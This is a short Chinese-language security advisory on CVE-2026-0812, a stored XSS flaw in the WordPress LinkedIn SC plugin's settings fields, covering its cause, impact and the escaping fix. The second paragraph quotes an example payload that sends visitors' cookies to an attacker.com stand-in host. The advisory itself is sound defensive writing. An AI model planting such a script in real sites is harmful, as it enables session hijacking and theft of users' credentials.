CVE-2026-0812CVE-2026-0812是WordPress平台LinkedIn SC插件中的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响1.1.9及以下所有版本,源于插件在处理linkedin_sc_date_format、linkedin_sc_api_key和linkedin_sc_secret_key等参数时未进行充分的输入清理和输出转义。攻击者可通过WordPress后台管理界面利用此漏洞,在这些配置参数中注入恶意JavaScript代码。由于漏洞属于存储型XSS,注入的恶意脚本会被永久保存在数据库中,当管理员或其他用户访问包含这些参数值的页面时,恶意代码将自动执行。攻击者可借此窃取会话Cookie、劫持用户会话、修改页面内容或进行进一步的攻击。由于该漏洞需要管理员级别权限才能利用,其实际危害程度相对有限,但仍建议尽快修复。
该漏洞的根本原因在于LinkedIn SC插件在接收用户输入时缺少严格的输入验证和清理机制。具体来说,插件的linkedin_sc_date_format、linkedin_sc_api_key和linkedin_sc_secret_key参数处理函数直接使用用户提供的输入而未进行适当的HTML转义。当这些值被回显到管理员后台页面或前端页面时,未经转义的HTML和JavaScript代码会被浏览器解析执行。攻击者只需在WordPress后台的插件设置页面中,将上述参数的值修改为包含恶意JavaScript代码的字符串,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。由于这些值被存储在WordPress的wp_options表中,每次访问相关页面时恶意代码都会执行。攻击者可能利用此漏洞进行会话劫持、凭据窃取或修改后台界面。修复方案应在输出这些配置值时使用esc_html()或esc_attr()等WordPress安全函数进行转义。